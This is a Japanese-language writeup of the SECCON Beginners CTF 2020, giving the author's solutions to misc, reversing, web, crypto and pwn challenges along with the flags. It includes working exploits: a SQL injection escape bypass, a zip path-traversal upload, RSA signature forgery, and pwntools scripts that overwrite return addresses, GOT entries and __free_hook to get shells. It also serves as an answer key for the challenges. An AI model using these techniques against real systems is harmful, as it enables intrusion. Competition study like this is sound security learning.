SECCON Beginners CTF 2020 Writeup
h_nosonで参加して3445点獲得し結果は18位でした。
- Writeup
- [Misc 50pts] Welcome
- [Misc 53pts] emoemoencode
- [Rev 62pts] mask
- [Rev 156pts] yakisoba
- [Rev 279pts] ghost
- [Web 55pts] Spy
- [Web 150pts] Tweetstore
- [Web 188pts] unzip
- [Crypto 52pts] R&B
- [Crypto 261pts] Noisy equations
- [Crypto 319pts] RSA Calc
- [Pwn 134pts] Beginner's Stack
- [Pwn 293pts] Beginner's Heap
- [Pwn 429pts] Elementary Stack
- [Pwn 473pts] ChildHeap
- [Pwn 491pts] flip
Writeup
[Misc 50pts] Welcome
ctf4b{sorry, we lost the ownership of our irc channel so we decided to use discord}
[Misc 53pts] emoemoencode
絵文字が並んでいてそれをflagに変換する問題
🍣🍴🍦🌴🍢🍻🍳🍴🍥🍧🍡🍮🌰🍧🍲🍡🍰🍨🍹🍟🍢🍹🍟🍥🍭🌰🌰🌰🌰🌰🌰🍪🍩🍽
🍣のUTF-16LEを確認すると3cd863dfと3byte目が"c"になっていてflagの先頭に見えるので全て同じように3byte目だけ抜き出すとflagになった
ctf4b{stegan0graphy_by_em000000ji}
[Rev 62pts] mask
... puts("Putting on masks..."); i = 0; while (i < iVar1) { local_98[(long)i] = flag[(long)i] & 0x75; local_58[(long)i] = flag[(long)i] & 0xeb; i = i + 1; } local_98[(long)iVar1] = 0; local_58[(long)iVar1] = 0; puts((char *)local_98); puts((char *)local_58); iVar1 = strcmp((char *)local_98,"atd4`qdedtUpetepqeUdaaeUeaqau"); if ((iVar1 == 0) && (iVar1 = strcmp((char *)local_58,"c`b bk`kj`KbababcaKbacaKiacki"), iVar1 == 0)) { puts("Correct! Submit your FLAG."); } else { puts("Wrong FLAG. Try again."); } ...
flagに0x75と0xebをそれぞれANDさせた文字列がわかっているのでそれらをORでつなげばflagになる
ctf4b{dont_reverse_face_mask}
[Rev 156pts] yakisoba
angrに投げる
#!/usr/bin/env python import angr p = angr.Project('./yakisoba') st = p.factory.blank_state() simgr = p.factory.simulation_manager(st) simgr.explore(find=0x4006d9, avoid=0x400700) print(simgr.one_found.posix.dumps(0))
ctf4b{sp4gh3tt1_r1pp3r1n0}
[Rev 279pts] ghost
/flag 64 string def /output 8 string def (%stdin) (r) file flag readline not { (I/O Error\n) print quit } if 0 1 2 index length { 1 index 1 add 3 index 3 index get xor mul 1 463 { 1 index mul 64711 mod } repeat exch pop dup output cvs print ( ) print 128 mod 1 add exch 1 add exch } repeat (\n) print quit
逆ポーランド記法で書かれた言語で初めは独自の言語かと思ったけど調べたらPostScriptだとわかったので
https://www-cdf.fnal.gov/offline/PostScript/BLUEBOOK.PDF
を参考に読むと以下のようなコードであることがわかる
flag = input() x = 1 for i, c in enumerate(flag): y = (x*((i+1)^ord(c)) ** 463 % 64711 print(y) x = y % 128 + 1
よってこの逆変換を書けばflagになる
#!/usr/bin/env python flag = '' x = 1 for i, nstr in enumerate(open('./output.txt').read().split(' ')[:-1]): n = int(nstr) for c in range(0x100): y = pow(x*((i+1)^c), 463, 64711) if y == n: flag += chr(c) x = y % 128 + 1 break print(flag)
ctf4b{st4ck_m4ch1n3_1s_4_l0t_0f_fun!}
[Web 55pts] Spy
意味ありげにページのロード時間が表示されており、名前をいくつか試してるとレスポンスが遅くなるものがあったので遅くなるものだけ集めて送るとflagがもらえた
#!/usr/bin/env python import requests import time for employee in open('./employees.txt').read().split('\n'): start = time.time() r = requests.post('https://spy.quals.beginners.seccon.jp/', data = {'name': employee, 'password': 'a'}) if time.time() - start > 0.3: print employee
ctf4b{4cc0un7_3num3r4710n_by_51d3_ch4nn3l_4774ck}
[Web 150pts] Tweetstore
クエリにシングルクオートが含まれていると直前にバックスラッシュを入れてエスケープしているが、予めバックスラッシュを入れておくことでエスケープを回避できる。ユーザーネームがflagになっているのでuser
をクエリ結果に結合して取り出した。
%\' union select user,user,now() --
ctf4b{is_postgres_your_friend?}
[Web 188pts] unzip
ディレクトリトラバーサルがあるが$_SESSION["files"]
に含まれるファイル名以外は弾かれてしまうためどうにかして../../../flag.txt
のような名前を$_SESSION["files"]
に追加する必要がある。与えられたページにはzipファイルをアップロードするフォームがあり、それを展開して含まれているファイル名を$_SESSION["files"]
に追加しているため../../../flag.txt
を含んだzipファイルを送ればいい。
$ touch flag.txt $ mkdir -p dir/dir/dir/dir $ cd dir/dir/dir/dir $ zip upload.zip ../../../../flag.txt
ctf4b{y0u_c4nn07_7ru57_4ny_1npu75_1nclud1n6_z1p_f1l3n4m35}
[Crypto 52pts] R&B
前頭の文字にしたがってrot13とbase64のデコードをしてflagを取り出す
#!/usr/bin/env python enc = open('./encoded_flag').read() def rot13(s): ret = '' for c in s: if 'A' <= c and c <= 'Z': ret += chr((ord(c) - ord('A') + 13) % 26 + ord('A')) elif 'a' <= c and c <= 'z': ret += chr((ord(c) - ord('a') + 13) % 26 + ord('a')) else: ret += c return ret while True: if enc[0] == 'R': enc = rot13(enc[1:]) elif enc[0] == 'B': enc = enc[1:].decode('base64') else: break print enc
ctf4b{rot_base_rot_base_rot_base_base}
[Crypto 261pts] Noisy equations
をランダムな係数、をflag、を固定のベクトルとすると任意個のとの組が与えられる。これを2つ用意し差分をとることでが得られる。よっての逆行列を計算すればflagが特定できる。
#!/usr/bin/env python from pwn import * import numpy as np s = remote('noisy-equations.quals.beginners.seccon.jp', 3000) coeffs1 = np.mat(eval(s.recvline(False)), dtype='float') answers1 = np.array(eval(s.recvline(False))) s = remote('noisy-equations.quals.beginners.seccon.jp', 3000) coeffs2 = np.mat(eval(s.recvline(False)), dtype='float') answers2 = np.array(eval(s.recvline(False))) print ''.join([chr(int(round(x))) for x in np.dot(np.asarray(np.linalg.inv(coeffs1 - coeffs2)), answers1 - answers2)])
ctf4b{r4nd0m_533d_15_n3c3554ry_f0r_53cur17y}
[Crypto 319pts] RSA Calc
"F"と"1337"を含まない任意の文字列に対する署名を生成でき、最終的に"1337,F"とその署名を送ることでflagが得られる。実際にどう署名されているか見てみると
signature = pow(bytes_to_long(data), d, N)
生成時に乱数が使われていないため2つの署名を使って新しいメッセージに対する署名を作ることができる。つまり、との署名を作って
#!/usr/bin/env python from pwn import * from Crypto.Util.number import * s = remote('rsacalc.quals.beginners.seccon.jp', 10001) s.recvuntil('N: ') N = int(s.recvline(False)) def sign(data): s.sendlineafter('> ', '1') s.sendlineafter('data> ', long_to_bytes(data)) s.recvuntil('Signature: ') return int(s.recvline(False), 0x10) def exc(data, sig): s.sendlineafter('> ', '2') s.sendlineafter('data> ', long_to_bytes(data)) s.sendlineafter('signature> ', hex(sig)) def extgcd(a, b): x0, y0, x1, y1 = 1, 0, 0, 1 while b > 0: a, b, q = b, a % b, a // b x0, x1 = x1, x0 - q * x1 y0, y1 = y1, y0 - q * y1 return x0, y0 def modinv(x, n): return extgcd(x, n)[0] M = bytes_to_long('1337,F') sig = sign(M * 2) * modinv(sign(2), N) % N exc(M, sig) s.stream()
ctf4b{SIgn_n33ds_P4d&H4sh}
[Pwn 134pts] Beginner's Stack
メモリダンプが出力されていたり説明があったりとても教育的な問題。スタックバッファオーバーフローがあって戻り番地を書き換えるだけだが説明にあるようにretを挟んでalignmentを調整する必要がある
#!/usr/bin/env python from pwn import * if len(sys.argv) == 1: s = process('./chall') else: s = remote('bs.quals.beginners.seccon.jp', 9001) ret = 0x400626 s.recvuntil('located at ') win = int(s.recvuntil(')')[:-1], 0x10) s.sendafter('Input: ', 'A' * 0x28 + p64(ret) + p64(win)) s.interactive()
ctf4b{u_r_st4ck_pwn_b3g1nn3r_tada}
[Pwn 293pts] Beginner's Heap
あるchunkをfreeするとtcacheに追加されるがそのchunkの先頭8バイトが次のchunkを指すポインタとして使われるため、そのポインタを__free_hookに書き換えるとmallocしたときに__free_hookが返ってくる。あとはそれをwinに書き換えればいい。
#!/usr/bin/env python from pwn import * def read(content): s.sendlineafter('\n> ', '1') time.sleep(0.1) s.send(content) def malloc(content): s.sendlineafter('\n> ', '2') time.sleep(0.1) s.send(content) def free(): s.sendlineafter('\n> ', '3') s = remote('bh.quals.beginners.seccon.jp', 9002) s.recvuntil('<__free_hook>: ') free_hook = int(s.recvline(False), 0x10) s.recvuntil('<win>: ') win = int(s.recvline(False), 0x10) malloc('A') free() read('A' * 0x18 + p64(0x21) + p64(free_hook)) malloc('A') read('A' * 0x18 + p64(0x31)) free() malloc(p64(win)) free() s.stream()
ctf4b{l1bc_m4ll0c_h34p_0v3rfl0w_b4s1cs}
[Pwn 429pts] Elementary Stack
indexとvalueを入力してスタック上にある配列の要素に書き込みを行える。この時indexのチェックをしていないためスタック上の任意のアドレスに書き込みができる。始めはmainの戻り番地を書き換えてROPをしようとしたがループから抜け出す方法が見つからなかったため、GOTを書き換えてROPにつなげるようにした。indexやvalueを入力するときにheapに確保された領域をバッファとして使っており、そのアドレスはスタック上にあるためそれを上書きしてGOTをバッファとして使わせることにより、atolのGOTをprintfに書き換える。このprintfに"%3$p"を出力させることによりlibcのアドレスがわかるので再びatolのGOTを書き換えてRCE one gadgetにしてシェルを呼び出した。
#!/usr/bin/env python from pwn import * if len(sys.argv) == 1: s = process('./chall') else: s = remote('es.quals.beginners.seccon.jp', 9003) def write(index, value): s.sendlineafter('index: ', str(index)) s.sendlineafter('value: ', value) elf = ELF('./chall') libc = ELF('./libc-2.27.so') write(-2, str(elf.got['malloc'])) write(0, 'A' * 8 + p64(elf.symbols['printf'])) write(0, '%3$p') libc_base = int(s.recvline(False), 0x10) - 0x110081 log.info('libc base: %#x' % libc_base) one_gadgets = [0x4f2c5, 0x4f322, 0x10a38c] write(0, 'A' * 8 + p64(libc_base + one_gadgets[2])) s.interactive()
ctf4b{4bus1ng_st4ck_d03snt_n3c3ss4r1ly_m34n_0v3rwr1t1ng_r3turn_4ddr3ss}
[Pwn 473pts] ChildHeap
libc-2.29なのでtcacheでdouble freeはできない。UAFとcontentを入力するときのoff-by-one errorを使って最終的に__free_hookをone gadget RCEに書き換える。詳細は省略するが簡単な流れとしては
- off-by-one errorで次のchunkのサイズを書き換えられることを利用して0x120として確保したchunkを0x100で開放する
- それを繰り返し行いtcacheを溢れさせてchunkをunsorted binsに入れる
- このときfreeするchunkの後ろに偽chunkを用意しておいてfreeと同時にそれをmergeさせる
- これによってchunkをオーバーラップさせることができるのでサイズを0x500など大きな値にしてfreeしてlibcのアドレスをleak、tcache binsを上書きして__free_hookを書き換える
#!/usr/bin/env python from pwn import * if len(sys.argv) == 1: s = process('./childheap') else: s = remote('childheap.quals.beginners.seccon.jp', 22476) def alloc(size, content='A'): s.sendlineafter('> ', '1') s.sendlineafter('Size: ', str(size)) s.sendafter('Content: ', content) def delete(ans='y'): s.sendlineafter('> ', '2') s.recvuntil("Content: '") content = s.recvuntil("'")[:-1] s.sendlineafter('[y/n] ', ans) return content def wipe(): s.sendlineafter('> ', '3') def exit(): s.sendlineafter('> ', '0') libc = ELF('./libc-2.29.so') alloc(0xf8) delete() wipe() alloc(0x18) delete() wipe() alloc(0x118) delete() wipe() alloc(0x18, 'A' * 0x18) wipe() alloc(0x118) delete() wipe() alloc(0xf8) delete() heap_addr = u64(delete('n').ljust(8, '\0')) log.info('heap address: %#x' % heap_addr) for i in range(5): wipe() alloc(0x18) delete() wipe() alloc(0x118) delete() wipe() alloc(0x18, 'A' * 0x18) wipe() alloc(0x118) delete() wipe() alloc(0x18) delete() wipe() alloc(0x118) delete() wipe() alloc(0x128, 'A' * 0x10 + p64(0x40) + p64(0x20) + p64(heap_addr + 0x990) * 2) delete() wipe() alloc(0x28) delete() wipe() alloc(0x18, p64(heap_addr + 0x890) * 2 + p64(0x20)) wipe() alloc(0x118, p64(heap_addr + 0x870) * 2 + 'A' * 0xe8 + p64(0x41) + p64(heap_addr + 0x9d0) * 2) delete() wipe() alloc(0x158, 'A' * 0x138 + p64(0x501)) delete() wipe() alloc(0x180) wipe() alloc(0x180) wipe() alloc(0x180, 'A' * 0x78 + p64(0x21) + 'A' * 0x18 + p64(0x21)) wipe() alloc(0x128) delete() libc.address = u64(delete('n').ljust(8, '\0')) - 0x1e4ca0 log.info('libc base: %#x' % libc.address) wipe() alloc(0x38) delete() wipe() alloc(0x158, 'A' * 0x138 + p64(0x41) + p64(libc.symbols['__free_hook'])) wipe() alloc(0x38) wipe() one_gadgets = [0xe237f, 0xe2383, 0xe2386, 0x106ef8] alloc(0x38, p64(libc.address + one_gadgets[3])) wipe() alloc(0x18) delete() s.interactive()
ctf4b{h34p_h45_gr0wn_1n70_4_ch1ld...r34lly??}
[Pwn 491pts] flip
一番面白かった。アドレスを指定してそのバイトの2ビットだけ反転できる。2ビットだけ書き換えてシェルを取るのはおそらく不可能なのでまずはループを発生させることを考えるとexitのGOTを_start+6に書き換えるとループを発生させられることがわかった。これでゆっくり他の値を書き換えて最後に一気に発火させることができる。最終的な目標としてはどれかのGOTをsystemやone gadget RCEに書き換えることだがmainで使われている関数を書き換えてしまうと書き換えている途中で落ちてしまうため、mainで使われていない関数(setbuf, __stack_chk_fail)に注目する。
- setbuf: initで一度使われており、libcのアドレスがすでに解決されてそのアドレスで上書きされている。ただし、exitだけを書き換えた段階では_startに戻るためinitが呼び出されてsetbufも呼ばれる。
- __stack_chk_fail: 一度も呼ばれておらず、値は__stack_chk_fail.plt+6になっている
setbufはlibcのアドレスになっていてlibc上の関数を呼び出すためには便利だがこのままだと書き換えている途中で呼ばれてしまうので、まずは__stack_chk_failをmainに書き換え、exitを__stack_chk_fail.pltにすることでmain内でループをさせてinitが呼ばれないようにする。
これでsetbufが安全に書き換えられるようになったので、相対アドレスを使ってputsに書き換えstderrを_IO_2_1_stderr_+8にしてlibcのアドレスをleakする(必ず成功するわけではない)。このとき一瞬だけexitを_startに戻してまたmainに戻せばまた安全にsetbufを書き換えられる。
libcのアドレスがわかったのであとはsetbufをsystemに書き換え、stderrが"/bin/sh"を指すようにすればシェルが起動できる。
#!/usr/bin/env python from pwn import * context.log_level = 'WARNING' elf = ELF('./flip') libc = ELF('./libc-2.27.so') def connect(): if len(sys.argv) == 1: return process('./flip') else: return remote('flip.quals.beginners.seccon.jp', 17539) def flip(addr, first, second): s.sendlineafter('Input address >> ', str(addr)) s.sendlineafter('Which bit (0 ~ 7) >> ', str(first)) s.sendlineafter('Which bit (0 ~ 7) >> ', str(second)) s.recvline() def replace(addr, frm, to): diff = frm ^ to index = 0 bit = 0 queries = [[] for i in range(8)] while diff: if diff & 1: queries[index].append(bit) bit += 1 if bit == 8: index += 1 bit = 0 diff >>= 1 for i in range(8): if len(queries[i]) % 2 == 1: queries[i].append(-1) for i, query in enumerate(queries): for j in range(0, len(query), 2): flip(addr + i, query[j], query[j+1]) count = 0 p = log.progress('Brute forcing', level='WARNING') while True: count += 1 p.status(hex(count)) s = connect() # exit.plt+6 -> _start+6 replace(elf.got['exit'], 0x4006d6, 0x4006e6) # _start+6 -> _start replace(elf.got['exit'], 0x4006e6, 0x4006e0) # __stack_chk_fail.plt+6 -> main replace(elf.got['__stack_chk_fail'], 0x400676, 0x4007fa) # _start -> __stack_chk_fail.plt (main) replace(elf.got['exit'], 0x4006e0, 0x400670) # setbuf -> puts replace(elf.got['setbuf'], 0x884d0, 0x64e80) # _IO_2_1_stderr_ -> _IO_2_1_stderr_ + 8 replace(elf.symbols['stderr'], 0x7f8b274e0680, 0x7f8b274e0688) # __stack_chk_fail.plt (main) -> _start replace(elf.got['exit'], 0x400670, 0x4006e0) try: if s.recv(4) == 'Inpu': s.close() continue p.success() except Exception: s.close() continue libc.address = u64(s.recv(6).ljust(8, '\0')) - 0x3ec703 log.warning('libc base: %#x' % libc.address) # _start -> __stack_chk_fail.plt (main) replace(elf.got['exit'], 0x4006e0, 0x400670) # puts -> setbuf replace(elf.got['setbuf'], 0x64e80, 0x884d0) # setbuf -> system replace(elf.got['setbuf'], libc.symbols['setbuf'], libc.symbols['system']) # 0xfbad2087 -> "/bin/sh" replace(libc.symbols['_IO_2_1_stderr_'], 0xfbad2087, u64('/bin/sh\0')) # _IO_2_1_stderr_ + 8 -> _IO_2_1_stderr_ replace(elf.symbols['stderr'], libc.symbols['_IO_2_1_stderr_'] + 8, libc.symbols['_IO_2_1_stderr_']) # __stack_chk_fail.plt (main) -> _start replace(elf.got['exit'], 0x400670, 0x4006e0) s.interactive()
ctf4b{l34d_b17fl1p_70_5h3ll!}